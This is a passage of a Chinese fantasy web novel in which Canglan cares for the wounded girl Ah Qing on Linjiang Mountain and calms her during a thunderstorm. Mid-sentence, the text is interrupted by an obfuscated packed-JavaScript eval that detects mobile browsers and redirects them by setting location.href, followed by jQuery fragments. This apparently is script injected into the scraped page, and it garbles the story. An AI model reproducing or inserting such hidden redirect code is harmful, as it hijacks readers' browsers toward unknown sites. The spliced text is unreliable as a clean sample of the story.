人间虽是二月,临江山上却桃花满枝,清溪湍流,碧郁葱葱。
山林之间,桃花掩映的深处,是一处僻静院落。
此刻时间是夜晚,花林之中的淡粉溶溶颜色都在光线的笼罩之下掩藏起来,仅院中窗扉向外透出一片梨黄,将生长在屋后的那棵桃花古树映照出轮廓。
院落之内,房间之中,火光微曳,将久存的黑暗与寂寥之意驱散。
绾着桃木簪的粉裙女子虚影曲膝坐在窗柩上,手指撑在下颌,饶有兴致的看着背对她独自对着灯火处理伤口的少年。
“我倒是没想到,你这小家伙居然还有受伤吃瘪的一天。”桃花妖手指勾着垂在耳畔的发丝,慵懒而散漫的道,“那小丫头究竟有什么能耐,叫你一而再再而三的对她容忍退让,竟还带回临江山上来?”
要知道,临江山上满山桃林,林中乃是布着迷阵的。
这迷阵存在数百年,只因在山中修行历练的少年,惯来不喜外人进入,吵扰繁闹。
“只是救人罢了。”沧澜背对着桃花妖,平静的将沾染在血肉上的铁锈以酒水冲洗干净,然后涂洒药粉,“便今日不是她,换做旁人,我也会带回临江山来。”
“呵。”桃花妖轻嗤了声。
她说的可不仅是将人带回临江山上,还有他硬生生受下的那女孩的那一刀。
沧澜在临江山上修行百年,又是那人弟子,若说躲不开个半大丫头的攻击,叫他师父知晓恐怕是要当场逐出师门了。
但这话她没有明白的说出来,只问:“你将整个镇子里人的记忆都抹去了,是不打算再回去你的小医馆了?”
“嗯。”沧澜包扎好腰腹的伤口,将衣襟理好,“魔物涌入人间,意外的情况频发,总被困在一处,多有不便。”
“当初说下山就下山的是你,冷不丁突然就回来的也是你。”桃花妖捂着嘴打了个哈欠,“想来就来想走就走,还真当这临江山是你的地盘儿了?”
沧澜没说话。
少年站立起身,从桌边取了一只新的灯盏,引火点亮,端着出了门去。
临江山上这间小院与永安堂的布局相似,分东西两个厢房,中间以门庭相隔。
因为没有待客的需求,院落正中的那一间便被沧澜堆了杂物和药草,还有一些书卷,以备平日里不时之需。
他仍将阿青安顿在东厢房,那个平日里自己常住的房间。
少年走出门扉,夜晚山林之间潮冷的空气便涌灌而来,扑漫着鼻息,带来丝缕桃花清气,和氤氲开的苦涩汤药味道。
沧澜取下炉上熬好的汤药,倒入碗中,推开东厢房的房门,走入进去,将手中灯盏放在床头的矮桌上。
床榻之上,看起来仅六七岁的女孩闭目躺着,双手摆放在身体两侧,小脸被枕头垫着,微微有些偏歪,下颌正压住被褥。
她的脸色因失血而显得苍白,眉目倒是因为此刻的安静而意外显出些许乖顺来。
今日刚将她带回临江山的时候,沧澜便检查了她身体的状况,多是些皮外伤势,看起来骇人,实际上并没有伤及根本。
之所以昏迷到现在还没有醒来的迹象,大半是因为她身上原本的那些伤势——与魔物厮搏的时候动作幅度牵扯太大,将原本已经开始愈合的伤口再度撕裂开来,起了反复。再加上失血过多,便久而不醒。
但就算是再久,到这个时候,也应该醒了。
沧澜掀开被褥,触碰到女孩的手腕,要去扣她的腕脉。
果然在这时候,女孩猛然坐起,手掌翻转,一直藏在掌心的银色长针向他刺来——
沧澜平静的扼住她手腕,卸了劲力,将长针抽走。
“既然醒了。”他将先前放在床头的药碗端给她,“喝药吧。”
阿青却愣住。
小女孩紧攥着掌心的被褥,盯着那碗药看了半晌,也没有动作。
沧澜敛眸,将药碗凑到唇边,如第一次那般,轻抿了一口。
床上的女孩却仍旧不动。
他没有办法,只能将药碗放回床头:“你捅了我一刀,我尚没有生气,你倒是先防备起来了。”
他站立起身,没有再看阿青,只从袖中抽出一条洗净的布带放在桌上,声音仍旧温和的道:“我知道你警惕,对于你的来历,若你不说,我便不问。我的态度仍旧同最初一般,如果你伤好了,想要离开,去哪里,随时都可以,我不拦阻。”
少年推开门扉,走了出去。
门外夜间的潮气氤氲着,在天空之中低聚,化作淅淅沥沥的雨珠,向下坠落,浸没入尚未完全解冻的土壤之中。
沧澜望着这雨,轻叹了口气,将药炉中的残存的火星熄灭,回去西厢。
·
夜里雨势逐渐增大,雨声沙沙的,卷着风摇动窗扉,发出“呜呜”的声响。
沧澜坐在床边,一灯如豆,微弱的火光映照书卷。
白日里那只被阿青杀死的魔,他仔细查看过尸体——那魔死后的模样奇怪,头骨被柴刀自中心劈开,面容便好似也被劈开了一般,左半边为男相,右半边为女相。
这样雌雄同体,一体两面的魔物,他还从未见过,便只能尝试着翻阅典籍找寻,看是否有所记载。
但书中言语大多寥寥,鲜有提及。
窗外的风雨声更盛了,雨幕像是石头般捶打着门窗,声响由“呜呜”换做“啪啪”。
沧澜起身,吹了灯准备休息,却蓦的听到窗外风雨中传来闷然一道声响,随即天色煞白,雷云滚滚。
这声音听得他心中有些不安,复又点了灯烛,端着出了门去。
门外风雨狂乱,吹得院中那棵桃花古树枝叶乱颤,花苞落了一地。
桃夭的虚影坐在枝杈之间,正不耐烦的以灵力支起抵御风雨的薄罩。见沧澜出来,她美眸微蹙,抱怨了一声:“你十年不在山上,这院子周遭的阵法都损坏了,漏进许多风雨来。”
沧澜端着灯,尚未来得及回复,便复又听见对面东厢房中传来一道闷响。
他看向桃夭,听见桃花妖道:“你带回来的这小姑娘,似乎对风雨雷电怕得很,已经自个儿在房里打翻四五个凳子了。”
沧澜的眉头凝蹙起来:“我去看看。”
他推开东厢房的门,房内一片黑暗,似是他所留在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716997|173764||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这里的那只灯盏已经燃尽。
沧澜端着灯盏,静默的走进去,风卷动门扉,在他身后闭合。
借着如豆的灯火,房间中的黑暗被稍稍驱散,原本的面貌便从阴暗狰狞中显露出来。
这里是沧澜的房间,他在此处居住多年,对其中布置自然熟稔无比,端着灯走了一圈,便在半掩着门的衣柜角落里找寻到那个名叫阿青的女孩。
她整个人瑟缩着,将自己团成一团,双手捂着耳朵,像是一只受了惊的小兽。
在床榻通往衣柜的路径上,乱糟糟的排布着许多东西,依次是摔碎的碗盏,泼洒满地的汤药,歪倒的凳子,打翻的已经熄灭的烛盏,燎烧了边角的布带,和被意外拉扯出来的两件衣衫。
沧澜叹了口气,蹲下身去,借灯火照亮女孩的面容。
许是没有喝药的原因,她的脸色仍旧如同他离开时一般苍白,嘴唇紧紧咬着,止不住的瑟缩颤抖。
整个人躲藏在衣柜里,将空间弄得乱糟,还仍旧睁着那双黝黑的眼珠瞪他。
沧澜实在没有想明白她对自己的敌意从何而来,无奈的道:“你先出来。衣柜里虽然算不得冷,但是若待上一整晚,也会生病。”
女孩将他的衣服在掌心攥成一团,人却不动。
沧澜整个人都感觉有些疲惫。虽然对她的固执习以为常,却也认真思索起将她敲晕,强行从衣柜里拖出来的行动办法。
然而这想法还没有付诸行动,便有一道闪电映窗而来。
煞白的光色照亮整个房间,也一瞬将两人的面孔映照清楚。
在这一瞬的惨白之下,沧澜明显看到女孩身体再度向后退却,肩膀微微颤着,想要往更深的地方躲藏。
然而衣柜的空间就那么大,没有更深的地方了。
她似乎……
所惧怕的并不全然是他,还有这雨夜骤急的雷电?
这细微的发现让沧澜怔愣了片刻,放弃原本敲晕女孩的想法,抬手给这房间的门窗悉笼上一层闭听咒。
门缝和窗缝都被封住,风雨雷电的声音一瞬间远去了,寒冷也仿佛离开,空气被那团昏黄的灯盏缓缓温暖起来。
女孩的瑟缩慢慢停止。
她似乎终于恢复了些状态,不再是那般惊慌恐惧的模样,抬眼看他的时候,眼瞳之中的神色也平复许多。
沧澜尝试着向她伸出手。
便如将她捡来第一日的那个月夜一般,却又有些不同。
月夜的辉色清冷,周遭冬草卷霜,寒意无垠,而此刻却只在温暖昏黄的空间之中,烛火重重笼罩鬓发。
不知是不是错觉,隔着这层灯火,沧澜依稀感觉女孩的眼瞳蒙上一层浅淡的雾气。
她慢慢的向前伸手,攥住他的手指,跟随在着他的动作从衣柜里面爬出来。
沧澜松了口气。
刚要起身,却不防女孩攥着他的衣袖,整个人扑摔在他身上,眼泪鼻涕一齐擦在他的衣襟,低声呜咽起来。
那声音很细碎,几若蚊吟不可闻。但若是凝了心神仔细去分辨,却也隐隐能够听清她所呜咽的那两个字:
“阿娘……”